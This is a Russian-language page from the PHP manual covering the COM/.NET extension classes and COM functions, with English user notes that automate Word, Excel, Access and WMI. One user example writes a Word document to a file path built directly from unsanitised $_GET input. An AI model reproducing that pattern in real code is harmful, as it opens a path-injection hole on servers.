$stack = new dotnet("mscorlib", "System.Collections.Stack");
$stack->Push(".Net");
$stack->Push("Привет ");
echo $stack->Pop() . $stack->Pop();
?>

Содержание

  • dotnet::__construct — Конструктор класса dotnet

User Contributed Notes

Bitterblue 30-Jul-2018 02:54
I worked with this the last few days and figured it out.
On stack overflow: https://stackoverflow.com/a/51541801/1442225
jcastromail at yahoo dot es 18-Nov-2016 09:04
using dotnet with visual studio 2015 (and net framework 4.6.1 but its the same with others).

1) In visual studio 2015, created a library project (in this case a C#)
2) Double click in the project -> build events -> post build

"C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.6 Tools\gacutil.exe"  /i "$(TargetPath)"

When the project its compiled, it adds to the GAC automatically. Please changes the bin folder according your installation.

3) in tools -> External tools, add the next external tool
Title: Get Qualified Assembly Name
Command: Powershell.exe
Arguments: -command "[System.Reflection.AssemblyName]::GetAssemblyName(\"$(TargetPath)\").FullName"
User Output Windows : checks

4) run tools -> Get qualified Assembly Name and checks the output windows

5) Creates the next class (Class1 may be its already creates)

namespace ClassLibrary2 // <-- changes it.
{
    public class Class1
    {
        public string Ping(string t1,string t2)
        {
            return "pong "+t1+t2;
        }
    }
}

6) in php

$full="ClassLibrary2, Version=1.0.0.0, Culture=neutral, PublicKeyToken=746927f9726d7222"; // its from the output windows
$class = 'ClassLibrary2.Class1'; // its the namespace and the class.

 $stack = new DOTNET($full,$class);
 $r1="hello";
 $r2="world";
 echo $stack->Ping($r1,$r2);

IMPORTANT NOTE: PHP "caches" the dll library, so every time that the dll library is compiled, the php service should be restarted (restart the apache service).
IMPORTANT NOTE 2: May be you should run Visual Studio as an Administrator.
juan156_elias at gmail dot com 04-Jun-2015 08:00
Using COM and DOTNET directly is quite a nightmare. DOTNET only allows you to target .Net 3.5 and below, and all the binaries need to be COM  Visible. This basically means that you will need to write your own .Net binaries for everything, at least wrappers.

There is a library out there (NetPhp) built on top of the COM class that will solve all these issues, so you can get code like this:

$manager = new \NetPhp\Core\NetManager();
$manager->RegisterAssembly('mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'mscorlib');
$manager->RegisterClass('mscorlib', 'System.IO.File', 'File');
$manager->RegisterClass('mscorlib', 'System.IO.FileOptions', 'FileOptions');
$file = $manager->Create('mscorlib', 'File');
$fileoptions = $manager->Create('mscorlib', 'System.IO.FileOptions')->Enum('Encrypted');

$file->Create("C:\\www\\prueba.tres", 2048, $fileoptions);
m dot atifmajeed at gmail dot com 11-Feb-2015 04:29
How to use donet class for creating object of parameterized constructor

http://php.net/manual/en/class.dotnet.php

private SGF ingerPrintManager m_FPM; //member variable
SGFPMDeviceName device_name = SGFPMDeviceName.DEV_ FDU02 ;
m_FPM = new SGF ingerPrintManager (device_name);
ricardopsj at gmail dot com 14-Apr-2014 01:30
Create an Excel Workbook using DOTNET.

<?php

$full_assembly_string = 'Microsoft.Office.Interop.Excel, Version=14.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c';
$full_class_name = 'Microsoft.Office.Interop.Excel.ApplicationClass';

$e = new DOTNET($full_assembly_string, $full_class_name);
$wb = $e->workbooks->add();
$Precios = $wb->Worksheets(1);
$Precios->Name = 'Precios';
$Venta = $wb->Worksheets(2);
$Venta->Name = 'Venta';
$Tons = $wb->Worksheets(3);
$Tons->Name = 'Tons';

$Meses = Array('2014-01', '2014-02', '2014-03', '2014-04', '2014-05', '2014-06', '2014-07', '2014-08', '2014-09', '2014-10', '2014-11', '2014-12');
foreach ($Meses as $Numero => $Mes) {
   $Precios->Range("A" . ($Numero+1))->Value = $Mes;
}

$wb->SaveAs('c:\temp\Meta.2014.05.xlsx');
$wb->Close();

?>

Go to c:\windows\assembly to know what value to put in $full_assembly_string.

If you don't know the assembly, use http://www.red-gate.com/products/dotnet-development/reflector/ to browse it, use what you learn there to fill $full_class_name.

Enjoy,

Ricardo.
jan dot zahradnik at data3s dot com 06-Jan-2014 09:17
PHP searches only GAC for .NET 2.0 runtime, so your DLL has to be targeted 2.0 - 3.5 framework.

Also it recognize only classes, not stucts, so you can't instantiate DateTime for example.
sandips (yardi) 29-Jun-2011 02:57
exercise to try different type of method signature and calling them in php.

VB.net Code
Public Class Class1
    Public Function SayHello(ByVal input As String) As String
        Return "Php input: " & input & "</BR>Dot net library said- 'Hello'"
    End Function
    Public Function ConcatArray(ByVal Values As Object()) As String
        Dim ret As String = String.Empty
        For Each sval As Object In Values
            ret = ret & sval.ToString & " "
        Next
        Return ret.Substring(1, ret.Length - 1)
    End Function
    Public Function ReturnObject(ByVal FirstName As String, ByVal LastName As String) As Name
        Dim obj As New Name
        obj.FirstName = FirstName
        obj.LastName = LastName
        Return obj
    End Function
'To explain Byref doesn't work with php
    Public Function CallByRef(ByRef value As String) As String
        value = "Value to ByRef parameter set in dot net."
        Return "ByRef CallByRef() method called."
    End Function
End Class

Public Class Name
    Public FirstName As String = String.Empty
    Public LastName As String = String.Empty
End Class

Php code to test .net library
<?php
  $class1 = new DOTNET("DotNetTest,"
              ."Version=1.0.0.0,"
                          ."Culture=neutral,"
                      ."PublicKeyToken=6675daefc27eafc4"
              ,"DotNetTest.Class1");
 echo $class1->SayHello("Hi PHP!!!!");
 echo "</P>";

 $parameter[0] = 12345;
 $parameter[1] = "MyString";
 $parameter[2] = false;
 $ret = $class1 -> ConcatArray($parameter);
 echo $ret;
 echo "</P>";

 $Obj = $class1 -> ReturnObject("Sandip","Shimpi");
 echo $Obj->FirstName." ".$Obj->LastName;

 echo "</P>";
 $myByRef = "";
 echo "Value of ByRef Variable before calling .net CallByRef() method: ".$myByRef;
 echo "</BR>";
 echo $class1 -> CallByRef($myByRef);
 echo "</BR>";
 echo "Now value of ByRef Variable: ".$myByRef;
 echo $myByRef;
?>
Anonymous 04-Jul-2010 05:17
As suggested before, you'll likely have to use a full assembly string including the assembly name, the assembly version (not the dll file version), the culture, and the public key token.  Otherwise, you'll get a 'file not found' catchable error.  To quickly find this on your own system to get the ball rolling, open C:\Windows\assembly in explorer (not in cmd as that shows a different view), scroll down the list until you find the assembly you want to work with, hover the mouse over it, and the tooltip shows the exact string to use (though processcorArchitecture if shown is optional).  You'll have to use .net utilities or other methods to automate collecting this info on other machines.

You'll also have to use the fully-qualified class name.  In other words, if you want to use the 'Form' class within 'System.Windows.Forms', you have to use the full class hierarchy 'System.Windows.Forms.Form'.  Otherwise you'll get an unhelpful 'Failed to instantiate .Net object' catchable error.

The following example shows the correct syntax to use the 'Form' class to pop up a blank form from php-cli, which can be used in leu of many Windows GUI PHP extensions out there.  Replace Version with your local version, and PublicKeyToken with your own local key token.

<?php

$full_assembly_string = 'System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=a8425bc35256e463';
$full_class_name = 'System.Windows.Forms.Form';
$form = new DOTNET($full_assembly_string, $full_class_name);

// code to add buttons, menus, text, etc

$form->Show();

$form_event = '';
while($form_event !== 'close') {

  // handle form functions and events

  }
?>
murat at muratyaman dot co dot uk 11-Feb-2010 05:46
First, I hit the same mine:

"... Failed to instantiate .Net object [Unwrapped, QI for IDispatch] [0x80004002] No such interface supported ..."

In order to load the assembly and class in it successfully, I had to change my AssemblyInfo.cs file regarding the visibility of the types in it.

// some code above

// This sets the default COM visibility of types in the assembly to invisible.
// If you need to expose a type to COM, use [ComVisible(true)] on that type.
[assembly: ComVisible(true)]

// some code below
m holmes at windowlogic dot com dot au 21-Sep-2009 09:31
For strongly-named NET assemblies that are registered in the GAC, you can just use the assembly name
e.g: $x = new DOTNET ("myAssembly", "myClass");

For strongly-named NET assemblies that aren't registered in the GAC, you need to use the full assembly string
e.g. $x = new DOTNET('myAssembly, Version=X.X.X.X, Culture=neutral, PublicKeyToken=ZZZZZZZZZZZZ', 'myClass');

You can't instantiate assemblies that haven't been strongly named.

"Strongly named" means that the assembly has a public key. To strongly name your own classes in Visual Studio, go to the Signing tab in the project properties and click the 'sign the assembly' box and choose a key file name.

To register an assembly in the GAC, there are various tools around to do that, but the easiest method is to drag-and-drop the compiled assembly into c:\windows\assembly using windows explorer (a shell extension is installed by default that handles registering dragged files).
kschroeder at mirageworks dot com 08-Apr-2009 11:55
In order to find out what the PublicKeyToken value is, open up Explorer and go to c:\windows\assembly.  In that directory you will see all of the registered assemblies along with their PublicKeyToken value.
sam at bitopia dot co dot uk 02-May-2008 08:54
If you want to load any other assembly apart from mscorlib, you'll need to include it like the following

$x = new DOTNET('The.Assembly.Name, Version=X.X.X.X, Culture=neutral, PublicKeyToken=ZZZZZZZZZZZZ', 'The.Class.Name');

Replace all relevant details.


Конструктор класса dotnet

  • « dotnet
  • variant »
  • PHP Manual
  • dotnet
  • Конструктор класса dotnet

dotnet::__construct

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

dotnet::__construct — Конструктор класса dotnet

Описание

public dotnet::__construct(string $assembly_name, string $datatype_name, int $codepage = CP_ACP)

Создаёт объект класса dotnet.

Список параметров

assembly_name
Указывает сборку для загрузки.
datatype_name
Имя класса для инстанцияции.
codepage
Кодовая страница. Подробности читайте на странице com.

User Contributed Notes

There are no user contributed notes for this page.


Класс variant

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

Введение

VARIANT — это эквивалент zval для COM; это структура, которая может содержать значения различных допустимых типов. Класс variant входит в модуль COM и позволяет больше контролировать значения, передаваемые от PHP к COM и обратно.

Обзор классов

class variant {
/* Методы */
public __construct(mixed $value = null, int $type = VT_EMPTY, int $codepage = CP_ACP)
}

Примеры variant

Пример #1 Пример использования variant

<?php
$v = new variant(42);
print "Тип — " . variant_get_type($v) . "<br/>";
print "Значение — " . $v . "<br/>";
?>

Замечание:

Когда возвращается значение или извлекается свойство, variant преобразовывается в значение PHP только если есть прямая связь между типами, что не приведёт к потере информации. Во всех остальных случаях результат вернётся в виде экземпляра класса variant. Вы можете принудительно указать PHP конвертировать значения в типы PHP используя оператор приведения типов или же преобразовывать их в строку, используя функцию print. Вы можете использовать множество функций класса для арифметических операций без приведения значений к типам PHP с риском потери информации.

Смотрите также variant_get_type().

Содержание

  • variant::__construct — Конструктор класса variant

User Contributed Notes

darren at dcook dot org 17-Jul-2007 05:59
If you are frustrated that print_r($obj) (where $obj is something returned from a call to a function on a COM object) does not return anything helpful, and that variant_get_type($obj) just returns a number, the function you are actually after is:
  com_print_typeinfo($obj);

It lists all functions, variables, their types in a human-readable (well, programmer-readable) format. Lovely!
richard dot quadling at carval dot co dot uk 26-Feb-2003 05:50
With thanks to Harald Radi and Wez Furlong.

Some VBA functions have optional parameters. Sometimes the parameters you want to pass are not consecutive.

e.g.

GoTo What:=wdGoToBookmark, Name="BookMarkName"
GoTo(wdGoToBookmark,,,"BookMarkName)

In PHP, the "blank" parameters need to be empty.

Which is ...

<?php
// Some servers may have an auto timeout, so take as long as you want.
set_time_limit(0);

// Show all errors, warnings and notices whilst developing.
error_reporting(E_ALL);

// Used as a placeholder in certain COM functions where no parameter is required.
$empty = new VARIANT();

// Load the appropriate type library.
com_load_typelib('Word.Application');

// Create an object to use.
$word = new COM('word.application') or die('Unable to load Word');
print "Loaded Word, version {$word->Version}\n";

// Open a new document with bookmarks of YourName and YourAge.
$word->Documents->Open('C:/Unfilled.DOC');

// Fill in the information from the form.
$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourName'); // Note use of wdGoToBookmark, from the typelibrary and the use of $empty.
$word->Selection->TypeText($_GET['YourName']);

$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourAge');
$word->Selection->TypeText($_GET['YourAge']);

// Save it, close word and finish.
$word->Documents[1]->SaveAs("C:/{$_GET['YourName']}.doc");
$word->Quit();
$word->Release();
$word = null;
print "Word closed.\n";
?>

The example document is ...

Hello [Bookmark of YourName], you are [Bookmark of YourAge] years old.

and it would be called ...

word.php?YourName=Richard%20Quadling&YourAge=35

Regards,

Richard.


Конструктор класса variant

  • « variant
  • COMPersistHelper »
  • PHP Manual
  • variant
  • Конструктор класса variant

variant::__construct

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

variant::__construct — Конструктор класса variant

Описание

public variant::__construct(mixed $value = null, int $type = VT_EMPTY, int $codepage = CP_ACP)

Создаёт объект класса variant.

Список параметров

value
Начальное значение. Если не задано или задано как null, будет создан объект VT_EMPTY.
type
Задаёт тип контента объекта variant. Допустимые значения - одна из констант VT_XXX (Предопределённые константы). PHP может автоматически определять параметры, переданные по ссылке; их даже не нужно передавать как объекты variant. Дополнительную информацию по типам variant читайте в библиотеке MSDN.
codepage
Кодовая страница. Подробности читайте на странице com.

User Contributed Notes

There are no user contributed notes for this page.


Класс COMPersistHelper

(PHP 5, PHP 7, PHP 8)

Введение

COMPersistHelper улучшает совместимость COM и PHP в отношении php.ini директивы open_basedir и потоковых ресурсов.

Обзор классов

final class COMPersistHelper {
/* Методы */
public __construct(?variant $variant = null)
public GetCurFileName(): string|false
public GetMaxStreamSize(): int
public InitNew(): bool
public LoadFromFile(string $filename, int $flags = 0): bool
public LoadFromStream(resource $stream): bool
public SaveToFile(?string $filename, bool $remember = true): bool
public SaveToStream(resource $stream): bool
}

Содержание

  • COMPersistHelper::__construct — Конструктор класса COMPersistHelper
  • COMPersistHelper::GetCurFileName — Получить имя файла
  • COMPersistHelper::GetMaxStreamSize — Получить максимальный размер потока
  • COMPersistHelper::InitNew — Инициализирует объект в состояние по умолчанию
  • COMPersistHelper::LoadFromFile — Загрузить объект из файла
  • COMPersistHelper::LoadFromStream — Загружает объект из потока
  • COMPersistHelper::SaveToFile — Сохранить объект в файл
  • COMPersistHelper::SaveToStream — Сохраняет объект в потоке

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса COMPersistHelper

  • « COMPersistHelper
  • COMPersistHelper::GetCurFileName »
  • PHP Manual
  • COMPersistHelper
  • Конструктор класса COMPersistHelper

COMPersistHelper::__construct

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::__construct — Конструктор класса COMPersistHelper

Описание

public COMPersistHelper::__construct(?variant $variant = null)

Создаёт объект класса COMPersistHelper, обычно связанный с variant.

Список параметров

variant
Объект COM, реализующий интерфейс IDispatch. Для успешного вызова методов COMPersistHelper, объект должен реализовывать интерфейсы IPersistFile, IPersistStream и/или IPersistStreamInit. Передача null в качестве variant оправдана только в том случае, если объект будет загружен из потока с помощью COMPersistHelper::LoadFromStream().

User Contributed Notes

There are no user contributed notes for this page.


Получить имя файла

  • « COMPersistHelper::__construct
  • COMPersistHelper::GetMaxStreamSize »
  • PHP Manual
  • COMPersistHelper
  • Получить имя файла

COMPersistHelper::GetCurFileName

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::GetCurFileName — Получить имя файла

Описание

public COMPersistHelper::GetCurFileName(): string|false

Возвращает имя файла, связанного с объектом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущее имя файла, связанного с объектом.

Ошибки

Выбрасывает исключение com_exception, если связанный объект не реализует COM интерфейс IPersistFile, либо если вызов IPersistFile::GetCurFile() завершился ошибкой.

User Contributed Notes

There are no user contributed notes for this page.


Получить максимальный размер потока

  • « COMPersistHelper::GetCurFileName
  • COMPersistHelper::InitNew »
  • PHP Manual
  • COMPersistHelper
  • Получить максимальный размер потока

COMPersistHelper::GetMaxStreamSize

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::GetMaxStreamSize — Получить максимальный размер потока

Описание

public COMPersistHelper::GetMaxStreamSize(): int

Возвращает размер потока (в байтах), необходимый для сохранения объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает размер потока (в байтах), необходимый для сохранения объекта.

Ошибки

Выбрасывает исключение com_exception, если связанный объект не реализует COM интерфейс IPersistStreamInit, либо если вызов IPersistStream::GetSizeMax() завершился ошибкой.

User Contributed Notes

There are no user contributed notes for this page.


Инициализирует объект в состояние по умолчанию

  • « COMPersistHelper::GetMaxStreamSize
  • COMPersistHelper::LoadFromFile »
  • PHP Manual
  • COMPersistHelper
  • Инициализирует объект в состояние по умолчанию

COMPersistHelper::InitNew

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::InitNew — Инициализирует объект в состояние по умолчанию

Описание

public COMPersistHelper::InitNew(): bool

Инициализирует объект в состояние по умолчанию.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Выбрасывает исключение com_exception, если связанный объект не реализует COM интерфейс IPersistStreamInit, либо если вызов IPersistStreamInit::Init() завершился ошибкой.

User Contributed Notes

There are no user contributed notes for this page.


Загрузить объект из файла

  • « COMPersistHelper::InitNew
  • COMPersistHelper::LoadFromStream »
  • PHP Manual
  • COMPersistHelper
  • Загрузить объект из файла

COMPersistHelper::LoadFromFile

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::LoadFromFile — Загрузить объект из файла

Описание

public COMPersistHelper::LoadFromFile(string $filename, int $flags = 0): bool

Открывает указанный файл и инициализирует объект из его содержимого.

Список параметров

filename
Имя файла.
flags
Режим доступа для доступа к файлу. Допустимые значения указаны в » перечислении STGM. Этот режим считается желаемым, но может быть, по необходимости, изменён на более строгий Если параметр flags задан как 0, то файл будет открыт с разрешениями по умолчанию, какие использовались бы, если бы пользователь открывал этот файл.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Выбрасывает исключение com_exception, если связанный объект не реализует COM интерфейс IPersistFile, либо если вызов IPersistFile::Load() завершился ошибкой.

User Contributed Notes

There are no user contributed notes for this page.


Загружает объект из потока

  • « COMPersistHelper::LoadFromFile
  • COMPersistHelper::SaveToFile »
  • PHP Manual
  • COMPersistHelper
  • Загружает объект из потока

COMPersistHelper::LoadFromStream

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::LoadFromStream — Загружает объект из потока

Описание

public COMPersistHelper::LoadFromStream(resource $stream): bool

Загружает объект из потока, где он изначально был сохранён.

Список параметров

stream
Потоковый ресурс для загрузки объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Выбрасывает исключение com_exception, если связанный объект не реализует COM интерфейс IPersistStream, либо если вызов IPersistStream::Load() завершился ошибкой.

User Contributed Notes

There are no user contributed notes for this page.


Сохранить объект в файл

  • « COMPersistHelper::LoadFromStream
  • COMPersistHelper::SaveToStream »
  • PHP Manual
  • COMPersistHelper
  • Сохранить объект в файл

COMPersistHelper::SaveToFile

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::SaveToFile — Сохранить объект в файл

Описание

public COMPersistHelper::SaveToFile(?string $filename, bool $remember = true): bool

Сохраняет копию объекта в указанный файл.

Список параметров

filename
Имя файла.
remember
Определяет, будет ли filename использоваться для текущего рабочего файла. Если true, то filename становится текущим файлом, и объект должен очистить свой флаг dirty после сохранения. Если false, то эта операция записи будет считаться как "Save A Copy As ...". В этом случае текущий файл останется без изменений и объект не будет снимать флаг dirty.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Выбрасывает исключение com_exception, если связанный объект не реализует COM интерфейс IPersistFile, либо если вызов IPersistFile::Save() завершился ошибкой.

Примеры

Пример #1 Использование COMPersistHelper::saveToFile()

<?php
$word = new COM('Word.Application');
$doc = $word->Documents->Add();
$ph = new COMPersistHelper($doc);
$ph->SaveToFile('C:\\Users\\cmb\\Documents\\my.docx');
$word->Quit();
?>

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет объект в потоке

  • « COMPersistHelper::SaveToFile
  • com_exception »
  • PHP Manual
  • COMPersistHelper
  • Сохраняет объект в потоке

COMPersistHelper::SaveToStream

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::SaveToStream — Сохраняет объект в потоке

Описание

public COMPersistHelper::SaveToStream(resource $stream): bool

Сохраняет объект в заданном потоке.

Список параметров

stream
Потоковый ресурс.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Выбрасывает исключение com_exception, если связанный объект не реализует COM интерфейс IPersistStream, либо если вызов IPersistStream::Save() завершился ошибкой.

User Contributed Notes

There are no user contributed notes for this page.


Класс com_exception

(PHP 5, PHP 7, PHP 8)

Введение

Обзор классов

final class com_exception extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс com_safearray_proxy

(PHP 5, PHP 7, PHP 8)

Введение

Класс com_safearray_proxy — это внутренний класс для разрешения доступов к многомерным массивам, которые хранятся в структурах данных SafeArray.

Обзор классов

final class com_safearray_proxy {
}

User Contributed Notes

There are no user contributed notes for this page.


Функции COM

Смотрите также

Для получения дальнейшей информации о COM прочтите » Спецификацию COM. Вы можете найти дополнительную информацию в нашем FAQ PHP и COM. Если вы хотите использовать приложение MS Office на стороне сервера, необходимо прочитать представленную здесь информацию: » Использование MS Office на стороне сервера.

Содержание

  • com_create_guid — Создание уникального глобального идентификатора (GUID)
  • com_event_sink — Связать сообщения объекта COM с объектом PHP
  • com_get_active_object — Вернуть дескриптор на уже запущенный экземпляр объекта COM
  • com_load_typelib — Загрузка Typelib
  • com_message_pump — Обработка сообщений COM, пришедших не позднее timeoutms миллисекунд после её запуска
  • com_print_typeinfo — Печатает определение класса PHP для интерфейса, наследующего IDispatch
  • variant_abs — Получить абсолютное значение варианта
  • variant_add — Сложить значения двух вариантов
  • variant_and — Побитовое И над двумя вариантами
  • variant_cast — Преобразовывает вариант в новый вариант другого типа
  • variant_cat — Объединение (конкатенация) значений двух вариантов
  • variant_cmp — Сравнить два варианта
  • variant_date_from_timestamp — Получает представление даты для варианта из метки времени Unix
  • variant_date_to_timestamp — Преобразовывает вариант типа дата/время во временную метку Unix
  • variant_div — Получить результат деления двух вариантов
  • variant_eqv — Побитовая эквиваленция двух вариантов
  • variant_fix — Вернуть целую часть варианта
  • variant_get_type — Получить тип варианта
  • variant_idiv — Делит преобразованные в целые числа варианты
  • variant_imp — Побитовая импликация над двумя вариантами
  • variant_int — Вернуть целочисленную часть варианта
  • variant_mod — Остаток от деления двух вариантов
  • variant_mul — Умножает значения двух вариантов
  • variant_neg — Логическое отрицание над вариантом
  • variant_not — Выполняет побитовое отрицание над вариантом
  • variant_or — Побитовое ИЛИ над двумя вариантами
  • variant_pow — Возводит один вариант в степень, заданную во втором
  • variant_round — Округляет вариант с заданной точностью
  • variant_set_type — Приводит вариант к другому типу «по месту»
  • variant_set — Присвоение нового значения объекту варианта
  • variant_sub — Вычитает значение правого варианта из левого
  • variant_xor — Исключающее ИЛИ над двумя вариантами

User Contributed Notes

Sorin Negulescu 05-Nov-2016 10:49
I have spent a lot of hours trying to make word.application work on a Windows Server using Apache as a service.
The application was working if Apache was started from command line (not as a service).

In the hope that this will help others not to lose hours of trying to solve this problem here is what I found out:

- In php.ini make sure you have the following key under the [COM_DOT_NET]: extension=php_com_dotnet.dll
- Apache shall run under a normal user account (not SYSTEM account). Run services.msc and fill-in the info of the user under the Apache service's Properties tab.
- Make sure you are able to start MS Word normally under that user account and dismiss all the dialogs that may appear (license, your info with initials, etc.). Start Word once again and make sure no dialogs appear.
- Launch dcomcnfg.exe->Console Root->Component Services->Computers->My Computer->DCOM Config->Microsoft Office Word 97 - 2003->Right Click(Properties)->Identity Tab and fill in the same user account information as for Apache service.
- If you cannot find the Microsoft Office Word 97 - 2003, make sure you are launching the correct DCOM Config (64 bit vs 32 bit) depending on what version of Office you have installed. To launch the 32 bit version run: mmc comexp.msc /32

Before following the steps described above, the winword.exe app appears in task manager but, if you look at the memory consumption you can notice two things:
- it increases slowly
- it stops usually at about 7-8 MB.

Keywords: COM, word.application, Apache, service, winword, timeout, no error
larrywalker at at chelseagroton dot com 02-Sep-2008 08:53
To run a php script in a background process and pass it you var use

<?php

$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("c:\\xampp\\php\\php.exe

c:\\xampp\\Not_on_Web\\ftptestback.php --user=$username", 7, false);

?>

Works for me.
monica at digitaldesignservices dot com 27-Dec-2007 02:41
Working with Word 2003 COM object.

Have you been trying to work with the Word.Application COM and the Word Document would crash and the PHP script would hang?

Turns out that there is an issue within the Office COM object that doesn't let the web application (IIS, Apache) scripting engine release the object after instancing the COM.  The Service Pack 3 office update claims to remedy this.  Will test and post findings.
tomfmason at nospam-gmail dot com 08-Oct-2007 07:26
To get the cpu load percentage you can do something like this.

<?php
$wmi = new COM('winmgmts://');
$processor = $wmi->ExecQuery("SELECT * FROM Win32_Processor");
foreach($processor as $obj){
    $cpu_load_time = $obj->LoadPercentage;
}
echo $cpu_load_time;
?>

reference http://msdn2.microsoft.com/en-us/library/aa394373.aspx

To list current apache instances

<?php
$wmi = new COM('winmgmts://');
$processes = $wmi->ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'httpd.exe'");
foreach($processes as $process){
    echo $process->CommandLine . "<br />";
    echo $process->ProcessId . "<br />";
}
?>

reference http://msdn2.microsoft.com/en-us/library/aa394372.aspx

To run a php script in a background process

<?php
$dir = "C:\\path\\to\\dir";
$php_path = "C:\\path\\to\\php.exe";
$file = "somescript.php";
//send time current timestamp
$cmd_options = "-t " . time();
$wscript = new COM('WScript.Shell');
$wscript->Run("cmd /K CD $php_path $dir\\$file  &  ", 0, false);
?>

Enjoy

Tom
naveed at php dot net 10-Mar-2007 05:24
Here is a spell check implementation that displays the suggestion list for each misspelled word.

<?php
function SpellCheck($input)
{
    $word=new COM("word.application") or die("Cannot create Word object");
    $word->Visible=false;
    $word->WindowState=2;
    $word->DisplayAlerts=false;
    $doc=$word->Documents->Add();
    $doc->Content=$input;
    $doc->CheckSpelling();
    $result= $doc->SpellingErrors->Count;
    if($result!=0)
    {
        echo "Input text contains misspelled words.\n\n";
        for($i=1; $i <= $result; $i++)
        {
            echo "Original Word: " .$doc->SpellingErrors[$i]->Text."\n";
            $list=$doc->SpellingErrors[$i]->GetSpellingSuggestions();
            echo "Suggestions: ";
            for($j=1; $j <= $list->Count; $j++)
            {
                $correct=$list->Item($j);
                echo $correct->Name.",";
            }
            echo "\n\n";
        }
    }
    else
    {
        echo "No spelling mistakes found.";
    }
    $word->ActiveDocument->Close(false);
    $word->Quit();
    $word->Release();
    $word=null;
}

$str="Hellu world. There is a spellling error in this sentence.";
SpellCheck($str);
?>
Francois-R dot Boyer at PolyMtl dot ca 13-Feb-2007 08:32
I had the problem when trying to call Access VBA scripts from PHP; the call was working but Access would never quit.  The problem was that the Apache server is running as SYSTEM, and not a user we normally use to run Office.  And as the first time a user runs Office, it asked the SYSTEM user to enter its name and initials! ;-)

To correct this problem: Stop Apache, go to Services, Apache, Properties, "Log On" tab, and check "Allow service to interact with desktop.  Restart Apache, then open your office application, in a page loaded by the Apache server, with a small PHP code like this, :

<?php
$app = new COM("Access.Application"); // or Word.Application or Excel.Application ...
$app->Visible = true; // so that we see the window on screen
?>

Put the name you want and quit the application.  Now your Office application should terminate correctly the next time you load it with a COM object in PHP.  You can stop Apache uncheck the "Allow service to interact with desktop", and restart Apache if you like.  I don't even require a Quit or anything to be sent to Access, it quits automatically when PHP terminates.

And for those who wish to know how I'm calling Access VBA scripts, instead of using ODBC or any other way to send SQL requests, which does not seem to work to call VBA scripts, I open the database as a COM object and it works fine:

<?php
$db_com = new COM("pathname of the file.mdb");
$result = $db_com->Application->Run("function_name", 'param1', 'param2', '...');
?>
03-Oct-2006 04:11
If someone want to get a COM object out of a DCOM object can do something like that:

<?php
  $dcom_obj = new COM('dacom.object','remotehost') or die("Unable to get DCOM object!");
  $com_obj = new Variant(NULL);
  $dcom_obj->Get_Module($com_obj); //user function which returns a custom IDispatch (casted as variant*)
?>

Hopefully this will help someone, because it took me quite long to figure this out.
kiotech at hotmail dot com 18-Jul-2006 06:35
For use parameters with PHP this is a Code Example

<?php
$ObjectFactory= New COM("CrystalReports11.ObjectFactory.1");
  $crapp = $ObjectFactory->CreateObject("CrystalDesignRunTime.Application");
  $creport = $crapp->OpenReport("//report1.rpt", 1);

      $z= $creport->ParameterFields(1)->SetCurrentValue("Mango");
      $z= $creport->ParameterFields(2)->SetCurrentValue(5000);

  $creport->ExportOptions->DiskFileName="reportin.pdf";
  $creport->ExportOptions->PDFExportAllPages=true;
  $creport->ExportOptions->DestinationType=1;   $creport->ExportOptions->FormatType=31;
  $creport->Export(false);

$len = filesize("reportin.pdf");
header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=reportin.pdf");
readfile("reportin.pdf");
?>
a dot kulikov at pool4tool dot com 13-Mar-2006 09:36
In case you are wondering how to group rows or columns in the freshly created EXCEL files, then this may help you

<?php
   /***
    * Grouping Rows optically in Excel Using a COM Object
    *
    * That was not easy, I have spent several hours of trial and error to get
    * this thing to work!!!
    *
    * @author Kulikov Alexey <a.kulikov@gmail.com>
    * @since  13.03.2006
    *
    * @see    Open Excel, Hit Alt+F11, thne Hit F2 -- this is your COM bible
    ***/

   //starting excel
   $excel = new COM("excel.application") or die("Unable to instanciate excel");
   print "Loaded excel, version {$excel->Version}\n";

   //bring it to front
   #$excel->Visible = 1;//NOT

   //dont want alerts ... run silent
   $excel->DisplayAlerts = 0;

   //create a new workbook
   $wkb = $excel->Workbooks->Add();

   //select the default sheet
   $sheet=$wkb->Worksheets(1);

   //make it the active sheet
   $sheet->activate;

   //fill it with some bogus data
